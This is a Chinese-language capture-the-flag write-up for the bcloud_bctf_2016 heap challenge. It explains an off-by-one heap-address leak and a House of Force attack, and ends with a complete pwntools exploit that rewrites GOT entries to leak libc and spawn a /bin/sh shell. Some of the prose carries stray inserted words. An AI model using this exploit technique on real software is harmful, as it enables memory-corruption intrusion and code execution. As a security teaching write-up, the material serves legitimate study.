bcloud_bctf_2016

bcloud_bctf_2016

總結

根據本題,學習與收穫有:python

  • house of force不須要保證top chunksize域是合法的,可是house of orange須要保證size域合法,由於後一種利用方式會把top chunk放在unsorted bin,會有chunk size的檢查。
  • house of force通常須要泄露出heap地址,而且須要能改寫top chunksize域,還要能分配任意大小的內存,總的來講,條件仍是不少的。能夠直接分配到got表附近,可是這樣會破壞一些got表的內容,也可分配到堆指針數組,通常在bss或者data段。
  • strcpy會一直拷貝源字符串,直到遇到\x0a或者\x00字符。而且在拷貝結束後,尾部添加一個\x00字符,不少off by one的題目就是基於此。

題目分析

題目的運行環境是ubuntu 16,使用libc-2.23.solinux

checksec


注意archi386-32-littleshell

函數分析

很明顯,這又是一個菜單題。首先來看main函數:ubuntu

main


在進入while循環以前,首先調用了welcome函數引用與參考[1],而後再去執行循環體。繼續來看一下welcome中有什麼操做。數組

welcome


這裏面調了兩個函數,繼續分析函數

get_name

這裏面操做爲:學習

  • 向棧變量s寫入0x40大小的數據,有一個字節的溢出
  • 申請內存,malloc(0x40),獲得的chunk大小爲0x48
  • 調用strcpy,把s的數據拷貝到剛剛申請的chunk的用戶內存區域。

這裏存在一個漏洞點,越界拷貝了堆地址,在後面的漏洞點中會有分析。debug

順便放一下read_off_by_one函數和put_info函數:3d

read_off_by_one:指針

put_info:

get_org_host

這裏涉及到兩次向棧變量上寫數據,而且兩次申請堆內存,兩次調用strcpy接口。這裏存在着溢出漏洞,後續漏洞點中會進一步分析。

new_note

此住須要注意的點有:

  • ptr_array裏面最多填滿10個地址
  • 實際申請的chunk的大小是size + 4,能寫的大小倒是size,基本上不能使用off by one
show_note

edit_note

ptr_array數組和ptr_size數組中取出存儲的地址和大小,並從新獲取用戶輸入並寫入數據。

del_note

釋放指針指向的內存後直接將指針置爲0

漏洞點

一開始看這個程序的時候,一直把目光對準了while循環體裏面,幾個關於note的函數,由於通常狀況下,漏洞點會出如今這些函數裏面,事實證實,慣性思惟害死人。找了半天,啥洞也沒找到,最後把目光聚焦在welcome裏面的兩個函數,才發現了利用點。接下來,詳細講一講漏洞點。

漏洞點1:get_name泄露堆地址

get_name:

這裏畫一下棧內存與堆內存的變化:

填充內容前

填充內容後

所以,當填慢0x40個可見字符後,調用put_info打印內容的時候會把上面的chunk的地址給打印出來。

漏洞點2:get_org_host修改top chunk的size域

get_org_host函數:

填充前

往棧變量sp寫了數據,並分配內存後

執行兩次strcpy後:

能夠看到top chunksize域被更改了。

利用思路

知識點

  • 本題主要使用House of Force Attack,注意,這個攻擊方法在2.2三、2.27版本的libc是奏效的,在libc-2.29.so加了top chunksize域合法性的校驗。
  • 計算大小的時候,能夠就直接給malloc傳一個負數,會自動轉化爲正整數的。
  • 能夠在調試過程當中肯定要分配的那個大小,計算獲得的size可能會有一些偏移。

利用過程

利用步驟:

  • get_name接口中,輸入0x40 * 'a',泄露出堆地址
  • 經過get_org_host覆蓋top chunksize,修改成0xffffffff
  • 利用house of force分配到ptr_array,即地址爲0x0x804b120
  • 連續分配4個用戶大小爲0x44大小的chunk A、B、C、D。那麼,編輯chunk A的時候,就能直接修改ptr_array數組元素的地址。引用與參考[2]
  • 調用edit_note,編輯chunk A,將ptr_array[2]設置爲free@got,將ptr_array[3]設置爲printf@got
  • 調用edit_note,編輯ptr_array[2]的內容爲puts@plt,就是將free@got修改成了puts@plt地址。
  • 調用del_note,去釋放ptr_array[3],實際上調用的是puts打印出來了printf的地址。
  • 再次調用edit_note,編輯chunk A,將ptr_array[0]設置爲0x804b130ptr_array[2]設置爲free@got,將ptr_array[4]寫爲/bin/sh
  • 調用edit_note,將free@got修改成了system地址
  • 調用del_note,釋放ptr_array[0],便可getshell

EXP

調試過程

定義好函數:

def new_note(size, content, io:tube=sh):
    io.sendlineafter('option--->>\n', '1')
    io.sendlineafter("Input the length of the note content:\n", str(size))
    io.sendlineafter("Input the content:\n", content)
    io.recvline()

def edit_note(idx, content, io:tube=sh):
    io.sendlineafter('option--->>\n', '3')
    io.sendlineafter("Input the id:\n", str(idx))
    io.sendlineafter("Input the new content:\n", content)
    io.recvline()


def del_note(idx, io:tube=sh):
    io.sendlineafter('option--->>\n', '4')
    io.sendlineafter("Input the id:\n", str(idx))

執行get_name,泄露heap地址:

sh.sendafter("Input your name:\n", 'a' * 0x40)
sh.recvuntil('a' * 0x40)
leak_heap_addr = u32(sh.recvn(4))
LOG_ADDR('leak_heap_addr', leak_heap_addr)

執行get_org_host,修改top chunksize0xffffffff

sh.sendafter("Org:\n", 'a' * 0x40)
sh.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a')
sh.recvuntil("OKay! Enjoy:)\n")

計算出top chunk的地址,分配到0x804b120

top_chunk_addr = leak_heap_addr + 0xd0
ptr_array = 0x804b120
margin = ptr_array - top_chunk_addr
new_note(margin - 20, "") # 0

連續分配四塊chunk,修改free@got的內容爲puts@plt,泄露出libc的地址:

free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010
for _ in range(4):
    new_note(0x40, 'aa')
edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got))
edit_note(2, p32(puts_plt))
del_note(3)
msg = sh.recvuntil("Delete success.\n")
printf_addr = u32(msg[:4])
LOG_ADDR('printf_addr', printf_addr)

計算出system地址,修改free@gotsystem函數的地址,並準備好/bin/sh

system_addr = printf_addr - offset
edit_note(1, p32(0x804b130) * 2 + p32(free_got) * 2 + b'/bin/sh')
edit_note(2, p32(system_addr))

釋放帶有/bin/shchunk,便可getshell

del_note(0)

完整exp

from pwn import *
context.update(arch='i386', os='linux')

sh = process('./bcloud_bctf_2016')

LOG_ADDR = lambda s, i:log.info('{} ===> {}'.format(s, i))

def new_note(size, content, io:tube=sh):
    io.sendlineafter('option--->>\n', '1')
    io.sendlineafter("Input the length of the note content:\n", str(size))
    io.sendlineafter("Input the content:\n", content)
    io.recvline()

def edit_note(idx, content, io:tube=sh):
    io.sendlineafter('option--->>\n', '3')
    io.sendlineafter("Input the id:\n", str(idx))
    io.sendlineafter("Input the new content:\n", content)
    io.recvline()


def del_note(idx, io:tube=sh):
    io.sendlineafter('option--->>\n', '4')
    io.sendlineafter("Input the id:\n", str(idx))

sh.sendafter("Input your name:\n", 'a' * 0x40)
sh.recvuntil('a' * 0x40)

leak_heap_addr = u32(sh.recvn(4))
LOG_ADDR('leak_heap_addr', leak_heap_addr)

sh.sendafter("Org:\n", 'a' * 0x40)

sh.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a')
sh.recvuntil("OKay! Enjoy:)\n")

top_chunk_addr = leak_heap_addr + 0xd0

ptr_array = 0x804b120
margin = ptr_array - top_chunk_addr

new_note(margin - 20, "") # 0

free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010

for _ in range(4):
    new_note(0x40, 'aa')

edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got))

edit_note(2, p32(puts_plt))

del_note(3)

msg = sh.recvuntil("Delete success.\n")

printf_addr = u32(msg[:4])
LOG_ADDR('printf_addr', printf_addr)

if all_parsed_args['debug_enable']:
    offset =  0xe8d0 # 0x10470
else:
    libc = LibcSearcher('printf', printf_addr)
    libc_base = printf_addr - libc.dump('printf')
    LOG_ADDR('libc_base', libc_base)
    offset = libc.dump('printf') - libc.dump('system')
    LOG_ADDR('offset', offset)

system_addr = printf_addr - offset

edit_note(1, p32(0x804b130) * 2 + p32(free_got) * 2 + b'/bin/sh')

edit_note(2, p32(system_addr))

del_note(0)

sh.interactive()

引用與參考

如下爲引用與參考,可能以腳註的形式呈現!

[1]:本文的函數均已重命名,原二進制文件不帶符號信息

[2]:其實這裏能夠直接去控制ptr_size數組,一直到ptr_array,這樣還能夠控制size,分配一個chunk就夠操做了。

相關文章
相關標籤/搜索
本站公眾號
   歡迎關注本站公眾號,獲取更多信息